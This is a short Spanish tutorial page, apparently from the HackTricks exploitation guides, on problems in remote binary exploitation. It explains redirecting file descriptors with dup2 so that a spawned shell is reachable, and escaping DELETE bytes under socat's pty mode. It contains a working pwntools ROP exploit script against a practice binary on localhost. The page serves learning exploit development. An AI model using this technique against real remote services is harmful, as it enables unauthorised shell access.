Common Exploiting Problems

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

FDs en Explotación Remota

Al enviar un exploit a un servidor remoto que llama a system('/bin/sh') por ejemplo, esto se ejecutará en el proceso del servidor, y /bin/sh esperará entrada desde stdin (FD: 0) e imprimirá la salida en stdout y stderr (FDs 1 y 2). Por lo tanto, el atacante no podrá interactuar con la shell.

Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el número de FD 3 (para escuchar) y que luego, tu conexión estará en el número de FD 4. Por lo tanto, es posible utilizar la llamada al sistema dup2 para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar la shell una vez que se ejecute.

Ejemplo de exploit desde aquí:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Tenga en cuenta que socat ya transfiere stdin y stdout al socket. Sin embargo, el modo pty incluye caracteres DELETE. Por lo tanto, si envía un \x7f (DELETE), borrará el carácter anterior de su exploit.

Para evitar esto, el carácter de escape \x16 debe ser antepuesto a cualquier \x7f enviado.

Aquí puedes encontrar un ejemplo de este comportamiento.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Última actualización